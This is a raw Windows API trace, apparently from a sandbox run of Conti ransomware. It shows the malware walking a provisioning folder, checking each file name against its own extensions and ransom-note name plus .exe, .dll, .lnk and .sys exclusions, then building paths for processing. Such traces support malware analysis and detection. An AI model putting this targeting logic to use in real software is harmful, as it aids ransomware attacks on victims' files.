	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.291] StrStrIW (lpFirst="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.291] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.291] lstrlenW (lpString="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.291] GetProcessHeap () returned 0x1720000
	[0109.291] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6b70c60
	[0109.291] lstrcpyW (in: lpString1=0x6b70c60, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.291] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.291] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\312__Connections_Cellular_Telenor (Norway)_i0$(__MVID)@WAP.provxml"
	[0109.291] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", cAlternateFileName="313__C~1.PRO")) returned 1
	[0109.291] lstrcmpiW (lpString1="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.291] lstrcmpiW (lpString1="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.291] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.292] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.292] StrStrIW (lpFirst="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.292] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.292] lstrlenW (lpString="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml") returned 101
	[0109.292] GetProcessHeap () returned 0x1720000
	[0109.292] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x180) returned 0x6870b20
	[0109.292] lstrcpyW (in: lpString1=0x6870b20, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.292] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.292] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\313__Connections_Cellular_Omani Qatari Telecommunications Company SAOC (Oman)_i0$(__MVID)@WAP.provxml"
	[0109.292] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="314__C~1.PRO")) returned 1
	[0109.292] lstrcmpiW (lpString1="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.292] lstrcmpiW (lpString1="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.292] StrStrIW (lpFirst="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.292] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.292] lstrlenW (lpString="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml") returned 73
	[0109.292] GetProcessHeap () returned 0x1720000
	[0109.292] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x6560948
	[0109.292] lstrcpyW (in: lpString1=0x6560948, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.292] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.292] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\314__Connections_Cellular_Mobilink GSM (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0109.292] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="315__C~1.PRO")) returned 1
	[0109.292] lstrcmpiW (lpString1="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.292] lstrcmpiW (lpString1="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.292] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.293] StrStrIW (lpFirst="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.293] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.293] lstrlenW (lpString="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml") returned 73
	[0109.293] GetProcessHeap () returned 0x1720000
	[0109.293] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x148) returned 0x6560698
	[0109.293] lstrcpyW (in: lpString1=0x6560698, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.293] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.293] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\315__Connections_Cellular_Mobilink GSM (Pakistan)_i1$(__MVID)@WAP.provxml"
	[0109.293] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bab788, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bab788, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bab788, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x346, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="316__C~1.PRO")) returned 1
	[0109.293] lstrcmpiW (lpString1="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.293] lstrcmpiW (lpString1="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.293] StrStrIW (lpFirst="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.293] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.293] lstrlenW (lpString="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml") returned 68
	[0109.293] GetProcessHeap () returned 0x1720000
	[0109.293] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13e) returned 0x6b71180
	[0109.293] lstrcpyW (in: lpString1=0x6b71180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.293] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.293] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\316__Connections_Cellular_Telenor (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0109.294] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x288, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="317__C~1.PRO")) returned 1
	[0109.296] lstrcmpiW (lpString1="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.296] lstrcmpiW (lpString1="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.296] StrStrIW (lpFirst="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.296] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.296] lstrlenW (lpString="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.296] GetProcessHeap () returned 0x1720000
	[0109.296] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x6566e18
	[0109.296] lstrcpyW (in: lpString1=0x6566e18, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.296] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.296] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\317__Connections_Cellular_Ufone (Pakistan)_i0$(__MVID)@WAP.provxml"
	[0109.296] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bd19f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90bd19f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90bd19f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="318__C~1.PRO")) returned 1
	[0109.296] lstrcmpiW (lpString1="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.296] lstrcmpiW (lpString1="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.296] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.296] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.297] StrStrIW (lpFirst="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.297] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.297] lstrlenW (lpString="318__Connections_Cellular_Warid Telecom (Pakistan)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.297] GetProcessHeap () returned 0x1720000
	[0109.297] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x6560540
	[0109.297] lstrcpyW (in: lpString1=0x6560540, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.297] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
